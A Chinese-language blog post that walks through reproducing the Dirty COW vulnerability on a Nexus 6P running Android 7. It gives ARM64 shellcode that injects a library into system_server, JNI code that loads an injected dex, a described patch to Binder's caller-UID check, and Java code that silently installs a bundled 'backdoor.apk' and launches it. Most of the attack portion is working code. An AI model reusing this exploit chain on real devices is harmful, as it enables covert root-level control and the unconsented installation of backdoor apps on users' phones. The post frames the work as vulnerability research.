臟牛漏洞安卓復現

臟牛漏洞安卓復現


最近花了一些時間研究如何在Android系統上復現臟牛漏洞以及如何利用臟牛漏洞實現應用的靜默安裝,中間遇到了許多問題,這里做一個簡單的記錄與整理。

這篇文章主要介紹整個分析環境的配置過程、漏洞觸發后的應用靜默安裝實現原理、需要用到的調試方法,以及一些可能遇到的問題。

編譯可調式安卓系統

準備工具

  1. Ubuntu14.04(官方編譯推薦系統版本,推薦使用docker)
  2. Nexus 6P(谷歌親兒子,刷機什么的比較方便)
  3. 配置要求:內存最好在16G以上(編譯Android7.0占用內存會較多)

下載源碼

更多細節參考清華大學鏡像站

Note:下載可以支持Nexus 6P的版本,具體信息可查看版本編號及支持

配置編譯環境

詳細過程參考谷歌官方
需要注意的是Android6.0 和Android7.0對openjdk版本要求不同

Note: 一定要嚴格按照官方的步驟來,這樣可以減少編譯出錯的可能性

編譯

編譯過程比較慢,推薦使用Ccache + 服務器編譯(并沒有CCache帶來的性能提升進行過實際的對比測試,所以這里可用也可不用)

  • 加載環境變量
    source build/envsetup.sh
  • 選擇編譯目標
root@94a6988dc437:/data/AOSP/android-7.1.1_r27# lunch

You're building on Linux

Lunch menu... pick a combo:
     1. aosp_arm-eng
     2. aosp_arm64-eng
     3. aosp_mips-eng
     4. aosp_mips64-eng
     5. aosp_x86-eng
     6. aosp_x86_64-eng
     7. full_fugu-userdebug
     8. aosp_fugu-userdebug
     9. mini_emulator_arm64-userdebug
     10. m_e_arm-userdebug
     11. m_e_mips-userdebug
     12. m_e_mips64-eng
     13. mini_emulator_x86-userdebug
     14. mini_emulator_x86_64-userdebug
     15. aosp_dragon-userdebug
     16. aosp_dragon-eng
     17. aosp_marlin-userdebug
     18. aosp_sailfish-userdebug
     19. aosp_flounder-userdebug
     20. aosp_angler-userdebug
     21. aosp_bullhead-userdebug
     22. hikey-userdebug
     23. aosp_shamu-userdebug

Which would you like? [aosp_arm-eng] 20

nexus 6P對應的設備編號是angler,nexus 6的設備編號是shamu。因為userdebug版本擁有原生root及系統調試功能,所以這里選擇編譯該版本。

  • 開始編譯
    編譯腳本如下:
#/bin/bash

export USER=root
export JACK_SERVER_VM_ARGUMENTS="-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4g"

if [ "$1" != "" -a $1 != "2" ]; then
    make -j$1
else
    make -j2
fi

**Note: **

  1. export USER=root 編譯的過程中會用到USER變量
  2. export JACK_SERVER_VM_ARGUMENTS給java虛擬機設置4G內存

線程數根據電腦配置選擇,一般為2×CPUs + 2就夠了(具體參數可根據實際情況調整)

刷機

編譯完成后就可以準備把編譯好的系統刷到手機里面了

  • 準備驅動文件
    根據編譯的系統版本下載對應的工廠鏡像,比如我編譯的時候使用的是Android7.1.1_r27,對應的編譯版本號為NUF26N。這個版本比較新,可以直接到驅動頁面下載。

Note: 對于比較老的版本,驅動頁面并沒有提供相應的驅動下載,使用從工廠鏡像中提取的驅動也不能啟動系統,這里暫時沒有解決方案,所以臨時的解決辦法是在比較新的版本上編譯調試分析,然后使用工廠鏡像在老的系統中測試漏洞效果。當然,如果我們只需要要調試native層的代碼,可以編譯出對應版本的調試版,然后再去替換掉對應的so庫。

臟牛漏洞測試

項目參考VIKIROOT

根據項目介紹,攻擊成功后可以獲得一個帶root權限的shell,但其針對的版本是Android6.0。在Android7.0上并不能得到帶root權限的shell,通過調試發現是selinux機制阻擋了這一攻擊。事實上Android7.0的selinux的規則比Android6.0上的規則要復雜很多,因此在Android6.0上可以利用成功,但在Android7.0上是失敗的。

  • 配置交叉編譯環境
    后續的步驟會涉及到三種代碼的編譯:C、ARM、JAVA
    -- ARM
    編譯shellcode
    -- C
    編譯JNI調用Java代碼
    -- Java
    功能模塊,完成后續的應用安裝及授權操作

  • 配置NDK patch
    在Android里面Java和C代碼的相互調用需要用到jni接口。一般情況下,如果我們開發的是一個正常的app,操作系統會主動給APP提供一個JNIEnv* env的參數。但我們注入的C代碼并不具備這樣的條件,所以需要調用NDK未公開API——android::AndroidRuntime::getJNIEnv() 來獲取jni接口。如果要使用這個接口的話,需要對NDK做一些patch

  • Java代碼打包
    因為后面需要用到dex動態加載,所以先介紹一下如何把class文件打包成dex文件。
    這里為了方便操作以及保證使用Java版本的一致性,先是使用AndroidStudio編譯出相應的class文件,并使用jar命令進行打包,然后再使用dx命令將對象轉換成dex文件

 13     # compile dex                                                           
 14     rm com -r
 15     cp test/JniLoadDex/app/build/intermediates/classes/debug/com com -r 
 16     jar cvf inject.jar com
 17     dx --dex --output=inject.dex inject.jar

選擇注入進程

因為system_server在Android系統中起著至關重要的作用(安裝應用、Acitivity管理、其他系統服務等),因此如果能夠控制system_server則意味著我們已經可以控制整個系統的運行。

任意Java代碼執行

當然,因為shellcode本身并不知道dlopen的函數地址,所以我們第一步需要做的是確定dlopen函數和dlsym函數的地址。

** Note: ** 事實上,我們并不需要首先使用dlopen對加載需要的庫,因為系統在啟動時已經將對應的庫加載了,可以直接使用dlsym(RTLD_NEXT, funcname)去獲取對應的函數地址。并且經過測試,發現在Android7.0中使用dlopen會映射新的so庫,這就導致無法使用native反調java代碼,因為對應的全局變量并沒有經過初始化。

如果我們嘗試去打印linker段的內存,我們可以看到下面的內容

0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p  /system/bin/linker64

0x7cc9a5e000 <__dl__ZL10g_dl_mutex>:    0x4000  0x0
0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>: 0x0 0x0
0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>: 0x0 0x122
0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>:  0x0 0x0
0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>: 0x1001000000000 0x7cc99b8368 <__dl_dlopen>
0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>: 0x0 0x1001000000007
0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>: 0x7cc99b85d4 <__dl_dlclose> 0x0
0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>: 0x100100000000f 0x7cc99b8434 <__dl_dlsym>
0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>: 0x0 0x1001000000015
0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>:    0x7cc99b8208 <__dl_dlerror> 0x0

事實上,vdso和linker之間的偏移量也是固定的

 0x000000790fe39000 0x000000790fe3b000 r-xp [vdso]
 0x000000790fe3b000 0x000000790fee5000 r-xp /system/bin/linker64
0x000000790fee5000 0x000000790fee8000 r--p  /system/bin/linker64
0x000000790fee8000 0x000000790fee9000 rw-p  /system/bin/linker64

**Note: ** 不同版本的系統內存映射可能不太一樣,但在Android下面每一個APP都是由Zygote調用fork產生的,所以編寫一個APP就可以得到相關的偏移量。另外一個需要注意的問題是,不同版本的系統也會導致linker段上存儲__dl_dlopen函數和__dl_symbol函數地址的偏移量發生改變。當然了,這個也可以通過APP來進行預處理。

有了以上的準備之后,就可以加載so庫了

//加載so庫的shellcode
.equ SYS_OPENAT, 0x38
.equ SYS_WRITE, 0x40
.equ SYS_CLOSE, 0x39

.equ SYS_SOCKET, 0xc6
.equ SYS_CONNECT, 0xcb
.equ SYS_BIND, 0xc8
.equ SYS_LISTEN, 0xc9
.equ SYS_DUP3, 0x18
.equ SYS_CLONE, 0xdc
.equ SYS_EXECVE, 0xdd
.equ SYS_EXIT, 0x5d
.equ SYS_READLINKAT, 0x4e
.equ SYS_GETUID, 0xae
.equ SYS_GETPID, 0xac

.equ AF_INET, 0x2
.equ AF_UNIX, 0x1
.equ O_EXCL, 0x80
.equ O_CREAT, 0x40
.equ O_APPEND, 0x400
.equ S_IRWXU, 0x1c0
.equ O_WRONLY, 0x1
.equ SOCK_STREAM, 0x1

.equ STDIN, 0x0
.equ STDOUT, 0x1
.equ STDERR, 0x2
.equ SIGCHLD, 0x11

.equ SHELL_IP, 0x682e020a  //ip:   10.2.46.104
.equ SHELL_PORT, 0x5d11    //port: 4445
.equ LOCALHOST_IP, 0x0100007f  //ip:   127.0.0.1
.equ UID_SYSTEM, 1000

_start:
    // save enviroment
    stp    x0, x1, [sp, #-0x10]!
    // determine whether current process is root 
    // (or some specific) process
    mov    x8, SYS_GETUID
    svc    0
    cmp    w0, UID_SYSTEM
    b.ne   return

    // try openat("/data/lock", O_CREAT|O_EXCL, ?)
    // if failed, exit
    // just for avoiding conflict 
    mov    x0, 0
    adr    x1, lockfile
    mov    x2, O_CREAT|O_EXCL
    mov    x3, S_IRWXU
    mov    x8, SYS_OPENAT
    svc    0
    cmp    w0, #0
    b.le   return
   
    add    sp, sp, #-0x30
    stp    x16, x30, [sp, 0x10]

    adr    x1, 0
    and    x1, x1, #0xfffffffffffff000 

    // offset depends on the addr distance between vdso and .bss section of linker64
    // for example, with vmmap like below
    //     0x000000790fe39000 0x000000790fe3b000 r-xp   [vdso]
    //     0x000000790fe3b000 0x000000790fee5000 r-xp   /system/bin/linker64
    //     0x000000790fee5000 0x000000790fee8000 r--p   /system/bin/linker64
    //     0x000000790fee8000 0x000000790fee9000 rw-p   /system/bin/linker64
    // .bss of linker64 start address is 0x000000790fee8000
    // .text of linker64 start address is 0x000000790fe3b000
    // what's more ? 
    // In the shellcode, we can locate ourself
    // and the offset to vdso end is always 0x1000
    // so the total offset is 0x000000790fe3b000 - 0x000000790fee8000 + 0x1000
    //add    x1, x1, 0xae000
    add    x1, x1, 0x2000

    // now let's go to find dlopen and dlsym
    // in bss setion of linker64 
    // we can find data like below:
    //     0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p   /system/bin/linker64
    //
    //     0x7cc9a5e000 <__dl__ZL10g_dl_mutex>: 0x4000  0x0
    //     0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>:  0x0 0x0
    //     0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>:  0x0 0x122
    //     0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>:   0x0 0x0
    //     0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>:  0x1001000000000 0x7cc99b8368 <__dl_dlopen>
    //     0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>:  0x0 0x1001000000007
    //     0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>:  0x7cc99b85d4 <__dl_dlclose> 0x0
    //     0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>:  0x100100000000f 0x7cc99b8434 <__dl_dlsym>
    //     0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>:  0x0 0x1001000000015
    //     0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>: 0x7cc99b8208 <__dl_dlerror> 0x0
    // so things are pretty easy
    // we just need to add some offset to .bss start address, and then we can get dlopen and dlsym
    add    x2, x1, 0x48  //0x48, 0x88
    ldr    x3, [x2]  //get __dl_dlopen
    add    x2, x1, 0x78  //0x78, 0xb8
    ldr    x4, [x2]  //get __dl_dlsym
    stp    x3, x4, [sp, 0]
    add    x2, x1, 0xa0
    //lhandle = dlopen("target.so", LD_NOW)
    adr    x0, sopath
    mov    x1, 2
    ldr    x3, [sp]
    blr    x3
    str    x0, [sp, 0x20]

    //libentry = dlsym(lhandle, "libentry")
    adr    x1, fun_libentry
    ldr    x3, [sp, #8]
    blr    x3
    blr    x0
    ldp    x16, x30, [sp, 0x10]
    add    sp, sp, #0x30

return:
    ldp    x0, x1, [sp]
    add    sp, sp, 0x10
    mov    x17, x30
    mov    x30, x16
    cmp w0, #0x0
    ccmp    w0, #0x1, #0x4, ne
    br     x17

exit:
    mov    x0, 0
    mov    x8, SYS_EXIT
    svc    0

shell_addr:
    .short AF_INET
    .short SHELL_PORT
    .word  LOCALHOST_IP

lockfile:
    .string "/data/lock"
    .balign 4

sopath:
    .string "/data/libinject.so"
    .balign 4

fun_libentry:
    .string "shellcode"
    .balign

filepath:
    .string "/sdcard/log.txt"
    .balign 4

So庫實現代碼

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <jni.h>
#include <android/log.h>
#include <android_runtime/AndroidRuntime.h>
#include <pthread.h>

//#define DEBUG

#ifdef __cplusplus
extern "C"
{
#endif

#define  LOG_TAG "haha"
#define  LOGD(fmt, args...)  __android_log_print(ANDROID_LOG_DEBUG,LOG_TAG, fmt, ##args)

#define NULL_CHECK(func_name, result) {                 \
    if (result == 0)                                    \
    {                                                   \
        LOGD("Call function %s failed at line %d", func_name, __LINE__);     \
        kill(getpid(), SIGKILL);                        \
        exit(0);                                        \
    }                                                   \
}

void waitfordebugger()
{
    int i=0;
    while(i < 100000)
    {
        usleep(100000);
        i++;
    }
}

jstring C2JString(JNIEnv *env, char *in) {
    return env->NewStringUTF(in);
}

void loaddex(JNIEnv *env, char *_dexpath)
{
    //查找ClassLoader類并調用靜態方法獲取系統的classloader對象
    jclass clazzClassLoader = env->FindClass("java/lang/ClassLoader");
    jmethodID mid_getsysloader = env->GetStaticMethodID(clazzClassLoader,
                                                        "getSystemClassLoader",
                                                        "()Ljava/lang/ClassLoader;");
    jobject parent_loader = env->CallStaticObjectMethod(clazzClassLoader, mid_getsysloader);

    //查找DexClassLoader類并且創建對象生成優化后的dex
    jclass clazzDexClassLoader = env->FindClass("dalvik/system/DexClassLoader");
    jmethodID mid_DexClassLoader = env->GetMethodID(clazzDexClassLoader,
                                                    "<init>",
                                                    "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");

    jstring dexpath = C2JString(env, _dexpath);
    jstring odexpath = C2JString(env, "/data/test");
    jobject loader = env->NewObject(clazzDexClassLoader, mid_DexClassLoader,
                                                    dexpath,
                                                    odexpath,
                                                    NULL,
                                                    parent_loader);
    NULL_CHECK("env->NewObject", loader);
    //加載需要注入的class
    jclass classLoaderClass = env->GetObjectClass(loader);
    jmethodID  mid_loadClass = env->GetMethodID(classLoaderClass, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
    jclass injectClass = (jclass)env->CallObjectMethod(loader, mid_loadClass, C2JString(env, "com.example.bluecake.jniloaddex.inject"));

    //調用入口函數
    jmethodID  mid_test = env->GetStaticMethodID(injectClass, "test", "()V");
    env->CallStaticVoidMethod(injectClass, mid_test);
    return;
}

void* entry(void *arg)
{
    waitfordebugger();
    //do works here
    JavaVM *jvm;
    JNIEnv *env;
    jvm = android::AndroidRuntime::getJavaVM();
    env = android::AndroidRuntime::getJNIEnv();
    if (env != NULL)
        loaddex(env, "/data/inject.dex");
    return ;
}

void shellcode(void)
{
    pthread_t tid;
    pthread_create(&tid, NULL, &entry, NULL);
    return ;
}

#ifdef __cplusplus
}
#endif

到這里,按道理已經可以任意安裝了呀,但還有一個問題:應用安裝過程是通過一個system_server里面的一個線程來處理的,和這個線程通信的接口是通過binder進行通信。但是,安裝服務對發起者有一個限制:應用安裝發起者只能是root用戶或特定UID(系統內置應用安裝軟件)。也就是說,我們以system_server的身份發起的應用安裝請求會被直接擋掉。

那么,是不是就沒有辦法了呢?注意到這里使用的臟牛漏洞,所以我們可以修改任意二進制代碼,那么只要在觸發漏洞前把Binder->getCallingUid給patch掉就行了。一開始直接將返回值修改為零,但是發現system_server會反復崩潰并重啟,解決方案是添加一段跳板代碼,如果檢測到發起方是程序自身,則修改返回值,反之保持現狀。

應用安裝的代碼參考系統安裝應用的代碼

//Inject.java源碼
package com.example.bluecake.installapp;

import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
import android.os.Looper;
import android.util.Log;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Method;

import static android.system.Os.getuid;

/**
 * Created by bluecake on 17-8-16.
 */

public class inject {
    static String do_exec(String cmd) {
        String s = "";
        try {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader in = new BufferedReader(
                    new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                s += line + "/n";
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        return s;
    }

    public static void install(final String path)
    {
        Log.i("haha", "start of test");
        new Thread(new Runnable() {
            @Override
            public void run() {
                Log.i("haha", "work thread started");
                try{
                    Looper.prepare();
                    Class atc = Class.forName("android.app.ActivityThread");
                    Method systemMainMethod = atc.getDeclaredMethod("systemMain");
                    Object ActivityThreadInstance = systemMainMethod.invoke(null);
                    Method getSystemContextMethod = atc.getDeclaredMethod("getSystemContext");
                    Context context = (Context)getSystemContextMethod.invoke(ActivityThreadInstance);

                    //開始安裝進程
                    PackageManager pm = context.getPackageManager();
                    PackageInstaller packageInstaller = pm.getPackageInstaller();
                    PackageInstaller.Session session = null;
                    String pakagePath = path;
                    File file = new File(pakagePath);

                    PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
                            PackageInstaller.SessionParams.MODE_FULL_INSTALL
                    );
                    params.setAppPackageName("ahmyth.mine.king.ahmyth");
                    params.setInstallLocation(-1);
                    params.setSize(file.length());

                    int sessionid = packageInstaller.createSession(params);
                    InputStream inputStream = new FileInputStream(file);
                    long sizeBytes = file.length();

                    session = packageInstaller.openSession(sessionid);
                    OutputStream outputStream = session.openWrite("PackageInstaller", 0, sizeBytes);

                    int c;
                    byte[] buffer = new byte[65536];
                    while((c = inputStream.read(buffer)) != -1)
                    {
                        outputStream.write(buffer, 0, c);
                    }
                    session.fsync(outputStream);
                    inputStream.close();
                    outputStream.close();

                    // fake intent
                    Context app = context;
                    Intent intent = new Intent(app, AlarmReceiver.class);
                    PendingIntent alarmtest = PendingIntent.getBroadcast(app,
                            sessionid, intent, PendingIntent.FLAG_UPDATE_CURRENT);
                    session.commit(alarmtest.getIntentSender());
                    session.close();
                    Log.i("haha", "ok, here we go");
                }
                catch (Exception e)
                {
                    StringWriter sw = new StringWriter();
                    PrintWriter pw = new PrintWriter(sw);
                    e.printStackTrace(pw);
                    String sStackTrace = sw.toString();
                    Log.i("haha", sStackTrace);
                }
            }
        }).start();
        Log.i("haha", "end of test");
    }
}

//MainActivity.java源碼
package com.example.bluecake.installapp;

import android.content.Intent;
import android.content.res.AssetManager;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

import static android.system.Os.getuid;

public class MainActivity extends AppCompatActivity {

    // Used to load the 'native-lib' library on application startup.
    static {
        System.loadLibrary("native-lib");
    }

    public void copyFromAssets(String filename)
    {
        try {
            AssetManager am = getAssets();
            InputStream is = am.open(filename);
            String DataDir = getDataDir().getPath();
            String OutputPath = DataDir + "/" + filename;
            OutputStream os = new FileOutputStream(OutputPath);
            byte flush[]  = new byte[1024];
            int len = 0;
            while(0<=(len=is.read(flush))){
                os.write(flush, 0, len);
            }
            os.close();
            is.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        copyFromAssets("backdoor.apk");
        copyFromAssets("patch");
        String patch_path = getDataDir().getPath() + "/patch";
        inject.do_exec("chmod 777 " + patch_path);

        Button bInstall = (Button)findViewById(R.id.install);
        bInstall.setOnClickListener(
                new View.OnClickListener() {
                    @Override
                    public void onClick(View view) {
                        String patch_path = getDataDir().getPath() + "/patch";
                        String result = inject.do_exec(patch_path + " " + getuid());
                        Log.i("haha", result);

                        String apk_path = getDataDir().getPath() + "/backdoor.apk";
                        inject.install(apk_path);

                        try {
                            Thread.sleep(1000);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }

                        try {
                            String PakageName = "ahmyth.mine.king.ahmyth";
                            String ClassName = "ahmyth.mine.king.ahmyth.MainActivity";
                            Intent intent = new Intent(Intent.ACTION_VIEW);
                            intent.setClassName(PakageName, ClassName);
                            startActivity(intent);
                        }
                        catch (Exception e)
                        {
                            e.printStackTrace();
                        }
                    }
                }
            );
    }

    /**
     * A native method that is implemented by the 'native-lib' native library,
     * which is packaged with this application.
     */
    public native String stringFromJNI();
}
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,702評論 6 534
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,615評論 3 419
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,606評論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,044評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,826評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,227評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,307評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,447評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,992評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,807評論 3 355
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,001評論 1 370
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,550評論 5 361
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,243評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,667評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,930評論 1 287
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,709評論 3 393
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,996評論 2 374

推薦閱讀更多精彩內容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,665評論 25 708
  • Spring Cloud為開發人員提供了快速構建分布式系統中一些常見模式的工具(例如配置管理,服務發現,斷路器,智...
    卡卡羅2017閱讀 134,785評論 18 139
  • 人的一生要有追求,但也要有追求的方向,更有目標。,明確的目標給人以動力,不至于在途中迷失自我。方向讓前行的道路更加...
    樊旭東的成長筆記閱讀 517評論 0 0
  • 強及時反饋癥狀,你有嗎? 我有! 什么是強及時反饋癥狀? 通俗的來說,其實就是當你給別人發了信息,你會想要他能夠立...
    彭海宇閱讀 618評論 2 2
  • 今天是三八婦女節,對很多女性朋友而言,是一個特別的日子,對我個人而言,也是一個難忘的日子! 單位統一組織了女性員工...
    宜人安心閱讀 167評論 0 1